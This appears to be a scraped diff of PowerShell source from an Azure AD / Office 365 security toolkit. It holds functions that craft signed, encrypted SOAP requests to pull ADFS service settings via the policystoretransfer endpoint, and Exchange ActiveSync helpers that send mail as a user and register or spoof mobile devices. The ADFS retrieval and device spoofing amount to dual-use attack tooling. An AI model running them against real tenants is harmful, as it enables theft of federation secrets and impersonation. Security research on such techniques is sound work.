$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $Server -Payload $payload -Action $action
return $envelope
}
}
# Parse CST response
# Apr 14th 2021
function Parse-SCTR
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$SCTR,
[Parameter(Mandatory=$True)]
[byte[]]$Key
)
Process
{
# Parse the response and fetch the server secret
[xml]$xPlaintext = Parse-ADFSResponse -Response $SCTR -Key $Key
$token = $xPlaintext.RequestSecurityTokenResponse.Entropy.BinarySecret.'#text'
$serverSecret = Convert-B64ToByteArray -B64 $token
$computedKey = Get-PSHA1 -Secret $clientSecret -Seed $serverSecret -Bytes 32
$context = $xPlaintext.RequestSecurityTokenResponse.RequestedSecurityToken.SecurityContextToken.Id
$keyIdentifier = [guid](($xPlaintext.RequestSecurityTokenResponse.RequestedSecurityToken.SecurityContextToken.Identifier).Split(":")[2])
Write-Verbose "Server secret: $(Convert-ByteArrayToB64 -Bytes $serverSecret)"
Write-Verbose "Computed key: $(Convert-ByteArrayToB64 -Bytes $computedKey)"
Write-Verbose "Context: $context"
Write-Verbose "Identifier: $keyIdentifier"
# Construct the return value
$retVal = New-Object psobject -Property @{"Context" = $context; "Key" = $computedKey; "Identifier" = $keyIdentifier}
return $retVal
}
}
# Checks whether the response is a soap error
# Apr 15th 2021
function Check-SoapError
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$Message
)
Process
{
# Check for the fault message
if($Message.Envelope.Body.Fault)
{
$Message = $Message.Envelope.Body.Fault.OuterXml
}
if($Message.Fault)
{
$reason = $Message.Fault.Reason.Text.'#text'
throw $reason
}
}
}
# Parse ADFS Soap response
# Apr 14th 2021
function Parse-ADFSResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$Response,
[Parameter(Mandatory=$True)]
[byte[]]$Key
)
Process
{
# Extract nonce and cipher texts
# The first nonce is used to derive key used for ENCRYPTING, the second one is for SIGNING
# The cipher data in header is the signature block, which is not needed here
#$nonce0 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.DerivedKeyToken[0].Nonce
#$cipher0 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.EncryptedData.CipherData.CipherValue
$nonce1 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.DerivedKeyToken[1].Nonce
$cipher1 = Convert-B64ToByteArray -B64 $Response.Envelope.Body.EncryptedData.CipherData.CipherValue
# Derive the key
$derivedKey = Derive-WSTrustKey -Key $Key -Nonce $nonce1
Write-Verbose "Nonce: $(Convert-ByteArrayToB64 -Bytes $nonce1)"
Write-Verbose "Derived key: $(Convert-ByteArrayToB64 -Bytes $derivedKey)"
# Decrypt the cipher data
#$bPlainText = Decrypt-WSTrustCipherData -CipherText $cipher0 -Key $derivedKey
#$plainText = [text.encoding]::UTF8.GetString($bPlainText)
$bPlainText = Decrypt-WSTrustCipherData -CipherText $cipher1 -Key $derivedKey
$plainText = [text.encoding]::UTF8.GetString($bPlainText)
Check-SoapError -Message $plainText
return $plainText
}
}
# Creates a SOAP envelope for ADFS request
# Apr 14th 2021
function Create-ADFSRequest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[String]$Context,
[Parameter(Mandatory=$True)]
[guid]$KeyIdentifier,
[Parameter(Mandatory=$True)]
[string]$Server
)
Process
{
$payload = "<GetState xmlns=""http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore""><serviceObjectType>ServiceSettings</serviceObjectType><mask xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></mask><filter xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></filter><clientVersionNumber>1</clientVersionNumber></GetState>"
$action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState"
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $Server -Payload $payload -Action $action
return $envelope
}
}
# Invokes a ADFS SOAP request
# Apr 13th 2021
function Invoke-ADFSSoapRequest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[String]$Context,
[Parameter(Mandatory=$True)]
[guid]$KeyIdentifier,
[Parameter(Mandatory=$True)]
[string]$Server,
[Parameter(Mandatory=$True)]
[string]$Command
)
Process
{
# Create the envelope
$payload = "<GetState xmlns=""http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore""><serviceObjectType>$Command</serviceObjectType><mask xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></mask><filter xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></filter><clientVersionNumber>1</clientVersionNumber></GetState>"
$action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState"
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $server -Payload $payload -Action $action
try
{
[xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml"
}
catch
{
# Catch the error and try to parse the SOAP document
$str=$_.Exception.Response.GetResponseStream()
$buf = new-object byte[] $str.Length
$str.Position = 0
$str.Read($buf,0,$str.Length) | Out-Null
[xml]$response=[text.encoding]::UTF8.GetString($buf)
}
return Parse-ADFSResponse -Response $response -Key $Key
}
}
# Creates a SOAP envelope for the second RST request
# Apr 13th 2021
function Create-ADFSSoapEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[String]$Context,
[Parameter(Mandatory=$True)]
[guid]$KeyIdentifier,
[Parameter(Mandatory=$True)]
[string]$Server,
[Parameter(Mandatory=$True)]
[string]$Payload,
[Parameter(Mandatory=$True)]
[string]$Action
)
Process
{
# Set some required variables
$STSContext = $Context
$messageID = (New-Guid).ToString()
$STIdentifier = $KeyIdentifier.ToString()
$TSIdentifier = (New-Guid).ToString()
$now = Get-Date
$exp = $now.AddMinutes(5)
$created = $now.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z"
$expires = $exp.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z"
# Create nonce and derive keys for signing and encrypting
$nonce0 = Get-RandomBytes -Bytes 16
$nonce1 = Get-RandomBytes -Bytes 16
$signingKey = Derive-WSTrustKey -Key $Key -Nonce $nonce0 -Bytes 24
$encryptionKey = Derive-WSTrustKey -Key $Key -Nonce $nonce1 -Bytes 32
# Create the SOAP request and encrypt it
$cipherText = Convert-ByteArrayToB64 -Bytes (Encrypt-WSTrustCipherData -PlainText ([text.encoding]::UTF8.GetBytes($Payload)) -Key $encryptionKey)
#
# Create required xml elements.
# Note! Due to canonicalization MS is using in the back-end, the xml MUST NOT HAVE ANY WHITE SPACES!
# All xml elements here are already canonicalized with C14N exclusive. So, changing order of any attributes etc. will break the signature!
#
# Create a body element
$xBody = "<s:Body xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_2""><e:EncryptedData xmlns:e=""http://www.w3.org/2001/04/xmlenc#"" Id=""_3"" Type=""http://www.w3.org/2001/04/xmlenc#Content""><e:EncryptionMethod Algorithm=""http://www.w3.org/2001/04/xmlenc#aes256-cbc""></e:EncryptionMethod><KeyInfo xmlns=""http://www.w3.org/2000/09/xmldsig#""><o:SecurityTokenReference xmlns:o=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd""><o:Reference URI=""#_1"" ValueType=""http://schemas.xmlsoap.org/ws/2005/02/sc/dk""></o:Reference></o:SecurityTokenReference></KeyInfo><e:CipherData><e:CipherValue>$cipherText</e:CipherValue></e:CipherData></e:EncryptedData></s:Body>"
# Create a body element for calculating the digest. MUST BE "expanded" so that the cipher text is in decrypted form.
$xBody2 = "<s:Body xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_2"">$Payload</s:Body>"
$xTimeStamp = "<u:Timestamp xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""uuid-$TSIdentifier-2""><u:Created>$created</u:Created><u:Expires>$expires</u:Expires></u:Timestamp>"
$xAction = "<a:Action xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_4"" s:mustUnderstand=""1"">$Action</a:Action>"
$xMessageId = "<a:MessageID xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_5"">urn:uuid:$messageID</a:MessageID>"
$xReplyTo = "<a:ReplyTo xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_6""><a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address></a:ReplyTo>"
$xTo = "<a:To xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_7"" s:mustUnderstand=""1"">http://$Server/adfs/services/policystoretransfer</a:To>"
# Calculate digests and generate the SignedInfo
$digest_2 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xBody2)
$digest_4 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xAction)
$digest_5 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xMessageId)
$digest_6 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xReplyTo)
$digest_7 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xTo)
$TSdigest= Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xTimeStamp)
$signedInfo = "<SignedInfo xmlns=""http://www.w3.org/2000/09/xmldsig#""><CanonicalizationMethod Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></CanonicalizationMethod><SignatureMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#hmac-sha1""></SignatureMethod><Reference URI=""#_2""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_2</DigestValue></Reference><Reference URI=""#_4""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_4</DigestValue></Reference><Reference URI=""#_5""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_5</DigestValue></Reference><Reference URI=""#_6""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_6</DigestValue></Reference><Reference URI=""#_7""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_7</DigestValue></Reference><Reference URI=""#uuid-$TSIdentifier-2""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$TSdigest</DigestValue></Reference></SignedInfo>"
# Generate the signature by calculating HMACSHA1 of SignedInfo using the signing key
$HMAC = [System.Security.Cryptography.HMACSHA1]::new($signingKey)
$signatureValue = Convert-ByteArrayToB64 -Bytes $HMAC.ComputeHash([text.encoding]::UTF8.getBytes($signedInfo))
# Generate Signature element and encrypt it using the encryption key
$xSignature = "<Signature xmlns=""http://www.w3.org/2000/09/xmldsig#"">$signedInfo<SignatureValue>$signatureValue</SignatureValue><KeyInfo><o:SecurityTokenReference xmlns:o=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd""><o:Reference ValueType=""http://schemas.xmlsoap.org/ws/2005/02/sc/dk"" URI=""#_0""/></o:SecurityTokenReference></KeyInfo></Signature>"
$encSignature = Convert-ByteArrayToB64 -Bytes (Encrypt-WSTrustCipherData -PlainText ([text.encoding]::UTF8.GetBytes($xSignature)) -Key $encryptionKey)
# Create the envelope
$envelope = @"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<s:Header>
$xAction
$xMessageId
$xReplyTo
$xTo
<o:Security s:mustUnderstand="1" xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
$xTimeStamp
<SecurityContextToken u:Id="$STSContext" xmlns="http://schemas.xmlsoap.org/ws/2005/02/sc">
<Identifier>urn:uuid:$STIdentifier</Identifier>
</SecurityContextToken>
<c:DerivedKeyToken u:Id="_0" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc">
<o:SecurityTokenReference>
<o:Reference URI="#$STSContext"/>
</o:SecurityTokenReference>
<c:Offset>0</c:Offset>
<c:Length>24</c:Length>
<c:Nonce>$(Convert-ByteArrayToB64 -Bytes $nonce0)</c:Nonce>
</c:DerivedKeyToken>
<c:DerivedKeyToken u:Id="_1" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc">
<o:SecurityTokenReference>
<o:Reference URI="#$STSContext"/>
</o:SecurityTokenReference>
<c:Nonce>$(Convert-ByteArrayToB64 -Bytes $nonce1)</c:Nonce>
</c:DerivedKeyToken>
<e:ReferenceList xmlns:e="http://www.w3.org/2001/04/xmlenc#">
<e:DataReference URI="#_3"/>
<e:DataReference URI="#_8"/>
</e:ReferenceList>
<e:EncryptedData Id="_8" Type="http://www.w3.org/2001/04/xmlenc#Element" xmlns:e="http://www.w3.org/2001/04/xmlenc#">
<e:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/>
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<o:SecurityTokenReference>
<o:Reference ValueType="http://schemas.xmlsoap.org/ws/2005/02/sc/dk" URI="#_1"/>
</o:SecurityTokenReference>
</KeyInfo>
<e:CipherData>
<e:CipherValue>$encSignature</e:CipherValue>
</e:CipherData>
</e:EncryptedData>
</o:Security>
</s:Header>
$xBody
</s:Envelope>
"@
$HMAC.Dispose()
return $envelope
}
}
+1709
View File
File diff suppressed because it is too large Load Diff
+2010
View File
File diff suppressed because it is too large Load Diff
+2085
View File
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+682
View File
@@ -0,0 +1,682 @@
# Performs EAS autodiscover
# Aug 30th 2022: Updated protocols, credits to celsogbezerra
function Get-EASAutoDiscover
{
<#
.SYNOPSIS
Performs autodiscover for the given user and protocol
.DESCRIPTION
Performs autodiscover for the given user using AutoDiscover V2. Returns the url of the requested protocol, defaults to ActiveSync
.Example
Get-AADIntEASAutoDiscover -Email user@company.com
Protocol Url
-------- ---
ActiveSync https://outlook.office365.com/Microsoft-Server-ActiveSync
.Example
Get-AADIntEASAutoDiscover -Email user@company.com -Protocol All
Protocol Url
-------- ---
Rest https://outlook.office.com/api
ActiveSync https://outlook.office365.com/Microsoft-Server-ActiveSync
Ews https://outlook.office365.com/EWS/Exchange.asmx
Substrate https://substrate.office.com
Substratesearchservice https://outlook.office365.com/search
AutodiscoverV1 https://outlook.office365.com/autodiscover/autodiscover.xml
substratesearchservice https://outlook.office365.com/search
substratenotificationservice https://substrate.office.com/insights
outlookmeetingscheduler https://outlook.office.com/scheduling/api
outlookpay https://outlook.office.com/opay
#>
Param(
[Parameter(Mandatory=$True)]
[String]$Email,
[ValidateSet('All','Actions','ActiveSync','AutodiscoverV1','CompliancePolicyService','Connectors','ConnectorsProcessors','ConnectorsWebhook','Ews','NotesClient','OutlookCloudSettingsService','OutlookLocationsService','OutlookMeetingScheduler','OutlookPay','OutlookTailoredExperiences','OwaPoweredExperience','OwaPoweredExperienceV2','Rest','SpeechAndLanguagePersonalization','Speedway','Substrate','SubstrateNotificationService','SubstrateSearchService','SubstrateSignalService','ToDo','Weve')]
[String]$Protocol="All"
)
Process
{
if($Protocol -eq "All")
{
$Protocols = @('Actions','ActiveSync','AutodiscoverV1','CompliancePolicyService','Connectors','ConnectorsProcessors','ConnectorsWebhook','Ews','NotesClient','OutlookCloudSettingsService','OutlookLocationsService','OutlookMeetingScheduler','OutlookPay','OutlookTailoredExperiences','OwaPoweredExperience','OwaPoweredExperienceV2','Rest','SpeechAndLanguagePersonalization','Speedway','Substrate','SubstrateNotificationService','SubstrateSearchService','SubstrateSignalService','ToDo','Weve')
$Response = @()
foreach($p in $Protocols)
{
$url = "https://outlook.office365.com/Autodiscover/Autodiscover.json?Email=$Email&Protocol=$p"
$response+=Invoke-RestMethod -UseBasicParsing -Uri $url -Method Get
}
}
else
{
$url = "https://outlook.office365.com/Autodiscover/Autodiscover.json?Email=$Email&Protocol=$Protocol"
$response=Invoke-RestMethod -UseBasicParsing -Uri $url -Method Get
}
$response
}
}
<#
.SYNOPSIS
Performs autodiscover for the given user
.DESCRIPTION
Performs autodiscover for the given user. Returns the url of ActiveSync service
.Example
Get-AADIntEASAutoDiscoverV1 -Credentials $Cred
https://outlook.office365.com/Microsoft-Server-ActiveSync
#>
function Get-EASAutoDiscoverV1
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$auth = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$headers = @{
"Authorization" = $auth
"Content-Type" = "text/xml"
}
$user=Get-UserNameFromAuthHeader -Auth $auth
$domain=$user.Split("@")[1]
# Default host for Office 365
$hostname = "autodiscover-s.outlook.com"
$url = "https://$hostname/Autodiscover/Autodiscover.xml"
$body=@"
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/mobilesync/requestschema/2006">
<Request>
<EMailAddress>$user</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006</AcceptableResponseSchema>
</Request>
</Autodiscover>
"@
$response=Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Headers $headers -Body $body -TimeoutSec 60
$response.Autodiscover.Response.Action.Settings.Server.Url
}
}
function Get-EASOptions
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
}
$response=Invoke-WebRequest -UseBasicParsing -Uri "https://outlook.office365.com/Microsoft-Server-ActiveSync" -Method Options -Headers $headers -TimeoutSec 10
$response.headers
}
}
# Get folders to sync
function Get-EASFolderSync
{
<#
.SYNOPSIS
Gets user's ActiveSync options
.DESCRIPTION
Gets user's ActiveSync options. Shows for instance Front and Backend server names.
The first two characters indicates the city: HE=Helsinki, VI=Vienna, DB=Dublin, AM=Amsterdam, etc.
.Example
Get-AADIntEASOptions -Credentials $Cred
Key Value
--- -----
Allow OPTIONS,POST
request-id 61e62c8d-f689-4d08-b0d7-4ffa1e42e1ea
X-CalculatedBETarget HE1PR0802MB2202.eurprd08.prod.outlook.com
X-BackEndHttpStatus 200
X-RUM-Validated 1
MS-Server-ActiveSync 15.20
MS-ASProtocolVersions 2.0,2.1,2.5,12.0,12.1,14.0,14.1,16.0,16.1
MS-ASProtocolCommands Sync,SendMail,SmartForward,SmartReply,GetAttachment,GetHierarchy,CreateCollection,DeleteCollection,MoveCollectio...
Public OPTIONS,POST
X-MS-BackOffDuration L/-469
X-DiagInfo HE1PR0802MB2202
X-BEServer HE1PR0802MB2202
X-FEServer HE1PR1001CA0019
Content-Length 0
Cache-Control private
Content-Type application/vnd.ms-sync.wbxml
Date Wed, 03 Apr 2019 17:40:18 GMT
Server Microsoft-IIS/10.0
X-AspNet-Version 4.0.30319
X-Powered-By ASP.NET
#>
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceId,
[Parameter(Mandatory=$False)]
[String]$DeviceType="Android"
)
Process
{
[xml]$request=@"
<FolderSync xmlns="FolderHierarchy">
<SyncKey>0</SyncKey>
</FolderSync>
"@
$response = Call-EAS -Request $request -Command FolderSync -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType
return $response
}
}
function Send-EASMessage
{
<#
.SYNOPSIS
Sends mail message using ActiveSync
.DESCRIPTION
Sends mail using ActiveSync using the account of given credentials.
Supports both Basic and Modern Authentication.
Message MUST be html (or plaintext) and SHOULD be Base64 encoded (if not, it's automatically converted).
.Example
PS C:\>$Cred=Get-Credential
PS C:\>Send-AADIntEASMessage -Credentials $Cred -DeviceId androidc481040056 -DeviceType Android -Recipient someone@company.com -Subject "An email" -Message "This is a message!"
.Example
PS C:\>$At=Get-AADIntAccessTokenForEXO
PS C:\>Send-AADIntEASMessage -AccessToken $At -DeviceId androidc481040056 -DeviceType Android -Recipient someone@company.com -Subject "An email" -Message "This is a message!"
#>
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Recipient,
[Parameter(Mandatory=$True)]
[String]$Subject,
[Parameter(Mandatory=$True)]
[String]$Message,
[Parameter(Mandatory=$True)]
[String]$DeviceId,
[Parameter(Mandatory=$False)]
[String]$DeviceType="Android",
[Parameter(Mandatory=$False)]
[String]$DeviceOS
)
Process
{
$messageId = (New-Guid).ToString()
[xml]$request=@"
<SendMail xmlns="ComposeMail"><ClientId>$messageId</ClientId><SaveInSentItems></SaveInSentItems><MIME><![CDATA[Date: Wed, 03 Apr 2019 08:51:41 +0300
Subject: $Subject
Message-ID: <$messageId>
From: rudolf@santaclaus.org
To: $recipient
Importance: Normal
X-Priority: 3
X-MSMail-Priority: Normal
MIME-Version: 1.0
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: base64
$(Get-MessageAsBase64 -Message $Message)
]]></MIME></SendMail>
"@
$response = Call-EAS -Request $request -Command SendMail -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -DeviceOS $DeviceOS
return $response
}
}
<#
.SYNOPSIS
Sets users device settings using ActiveSync
.DESCRIPTION
Sets users device settings using ActiveSync. You can change device's Model, IMEI, FriendlyName, OS, OSLanguage, PhoneNumber, MobileOperator, and User-Agent.
All empty properties are cleared from the device settings. I.e., if IMEI is not given, it will be cleared.
.Example
PS C:\>$Cred=Get-Credential
PS C:\>Set-AADIntEASSettings -Credentials $Cred -DeviceId androidc481040056 -DeviceType Android -Model "Samsung S10" -PhoneNumber "+1234567890"
#>
function Set-EASSettings
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceId,
[Parameter(Mandatory=$False)]
[String]$DeviceType="Android",
[Parameter(Mandatory=$False)]
[String]$Model,
[Parameter(Mandatory=$False)]
[String]$IMEI,
[Parameter(Mandatory=$False)]
[String]$FriendlyName,
[Parameter(Mandatory=$False)]
[String]$OS,
[Parameter(Mandatory=$False)]
[String]$OSLanguage,
[Parameter(Mandatory=$False)]
[String]$PhoneNumber,
[Parameter(Mandatory=$False)]
[String]$MobileOperator,
[Parameter(Mandatory=$False)]
[String]$UserAgent
)
Process
{
[xml]$request=@"
<Settings xmlns="Settings">
<DeviceInformation>
<Set>
<Model>$Model</Model>
<IMEI>$IMEI</IMEI>
<FriendlyName>$FriendlyName</FriendlyName>
<OS>$OS</OS>
<OSLanguage>$OSLanguage</OSLanguage>
<PhoneNumber>$PhoneNumber</PhoneNumber>
<MobileOperator>$MobileOperator</MobileOperator>
<UserAgent>$UserAgent</UserAgent>
</Set>
</DeviceInformation>
</Settings>
"@
$response = Call-EAS -Request $request -Command Settings -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent
return $response.OuterXml
}
}
<#
.SYNOPSIS
Adds a new ActiveSync device to user
.DESCRIPTION
Adds a new ActiveSync device to the user, and accepts security policies. All device information settings are required (Model, IMEI, FriendlyName, OS, OSLanguage, PhoneNumber, MobileOperator, and User-Agent).
Returns a policy key that could be used in subsequent ActiveSync calls
.Example
PS C:\>$Cred=Get-Credential
PS C:\>Add-AADIntEASDevice -Credentials $Cred -DeviceId androidc481040056 -DeviceType Android -Model "Samsung S10" -PhoneNumber "+1234567890" -IMEI "1234" -FriendlyName "My Phone" -OS "Android" -OSLanguage "EN" -MobileOperator "BT" -UserAgent "Android/8.0"
3382976401
#>
function Add-EASDevice
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceId,
[Parameter(Mandatory=$False)]
[String]$DeviceType="Android",
[Parameter(Mandatory=$False)]
[String]$Model,
[Parameter(Mandatory=$False)]
[String]$IMEI,
[Parameter(Mandatory=$False)]
[String]$FriendlyName,
[Parameter(Mandatory=$False)]
[String]$OS,
[Parameter(Mandatory=$False)]
[String]$OSLanguage,
[Parameter(Mandatory=$False)]
[String]$PhoneNumber,
[Parameter(Mandatory=$False)]
[String]$MobileOperator,
[Parameter(Mandatory=$False)]
[String]$UserAgent
)
Process
{
[xml]$request=@"
<Provision xmlns="Provision" >
<DeviceInformation xmlns="Settings">
<Set>
<Model>$Model</Model>
<IMEI>$IMEI</IMEI>
<FriendlyName>$FriendlyName</FriendlyName>
<OS>$OS</OS>
<OSLanguage>$OSLanguage</OSLanguage>
<PhoneNumber>$PhoneNumber</PhoneNumber>
<MobileOperator>$MobileOperator</MobileOperator>
<UserAgent>$UserAgent</UserAgent>
</Set>
</DeviceInformation>
<Policies>
<Policy>
<PolicyType>MS-EAS-Provisioning-WBXML</PolicyType>
</Policy>
</Policies>
</Provision>
"@
# The first request (must be done twice for some reason)
$response = Call-EAS -Request $request -Command Provision -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent -PolicyKey 0
$response = Call-EAS -Request $request -Command Provision -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent -PolicyKey 0
# Save the temporary policy key
$policyKey = $response.Provision.Policies.Policy.PolicyKey
# Create a request to acknowledge the policy
[xml]$request=@"
<Provision xmlns="Provision" >
<Policies>
<Policy>
<PolicyType>MS-EAS-Provisioning-WBXML</PolicyType>
<PolicyKey>$policyKey</PolicyKey>
<Status>1</Status>
</Policy>
</Policies>
</Provision>
"@
# The second request
$response = Call-EAS -Request $request -Command Provision -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent -PolicyKey $policyKey
# Save the final policy key
$policyKey = $response.Provision.Policies.Policy.PolicyKey
$policyKey
}
}
# Jan 2nd 2020
function Get-MobileOutlookSettings
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"Accept"="application/json"
}
